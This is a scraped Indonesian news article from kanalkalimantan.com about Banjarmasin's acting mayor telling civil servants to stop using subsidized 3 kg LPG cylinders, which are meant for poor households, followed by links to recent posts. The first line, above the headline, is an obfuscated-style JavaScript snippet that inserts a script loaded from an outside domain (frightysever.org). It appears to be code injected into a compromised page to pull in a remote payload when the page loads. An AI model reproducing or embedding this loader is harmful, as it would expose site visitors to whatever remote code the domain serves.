(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Haramkan’ ASN Pakai LPG 3 Kg, Plh Wali Kota Banjarmasin: Itu untuk Warga Miskin!


KANALKALIMANTAN.COM, BANJARMASIN – Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin ‘diharamkan’ menggunakan Liquefied Petroleum Gas (LPG) bersubsidi 3 kilogram (Kg).

Pelaksana Harian (Plh) Wali Kota Banjarmasin Mukhyar mengatakan, pihaknya akan kembali mengeluarkan imbauan kepada ASN agar tidak menggunakan LPG 3 Kg.

“Untuk kedepannya akan kami sampaikan edaran. Kami harapkan ASN yang memakai gas 3 kilogram tidak memakainya lagi,” ucapnya, Senin (22/2/2021).

Imbauan tersebut sejatinya memang sudah pernah diterbitkan Pemko Banjarmasin pada tahun 2017 lalu. “LPG 3 kilogram ini kan untuk warga miskin, jadi kita harapkan agar ASN tidak menggunakannya,” sebut Mukhyar.

Sejauh ini, memang Pemko Banjarmasin belum menemukan adanya laporan bahwa ASN lingkup Pemko Banjarmasin yang menggunakan gas subsidi khusus warga miskin itu.

“Kita belum mendapati adanya informasi itu, tetapi sejak 2017 imbauan itu sudah dikeluarkan. Kalaupun ada yang menggunakan kita akan memberikan sanksi,” tegasnya.

Gas bersubsidi 3 kilogram hanya diperuntukkan bagi masyarakat miskin itu, rupanya tak hanya dipergunakan warga tak mampu saja. Di lapangan tidak sedikit mereka yang mampu, juga menggunakannya. Bahkan ada dugaan bahwa dari kalangan ASN menikmati LPG bersubsidi tersebut.

Terkait hal ini, Ketua Himpunan Wiraswasta Nasional Minyak dan Gas Bumi (Hiswana Migas) Kalsel, H Saibani meminta agar ASN segera meninggalkan gas subsidi, beralih ke gas non subsidi, misalnya LPG 5,5 Kg atau 12 Kg.

“Kita tidak tutup mata, dan tidak bisa juga menyalahkan ASN ada yang memakai 3 kilohram, kami tidak bisa menindak. Cukup kesadaran saja, bahwa itu sebenarnya untuk masyarakat miskin,” ujar H Saibani.

Hiswana Migas Kalsel berharap Pemprov hingga Pemko maupun Pemkab kembali mengingatkan ASN agar segera meninggalkan LPG bersubsidi tersebut. (kanalkalimantan.com/rls)

 

Reporter : Rls
Editor : Kk

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.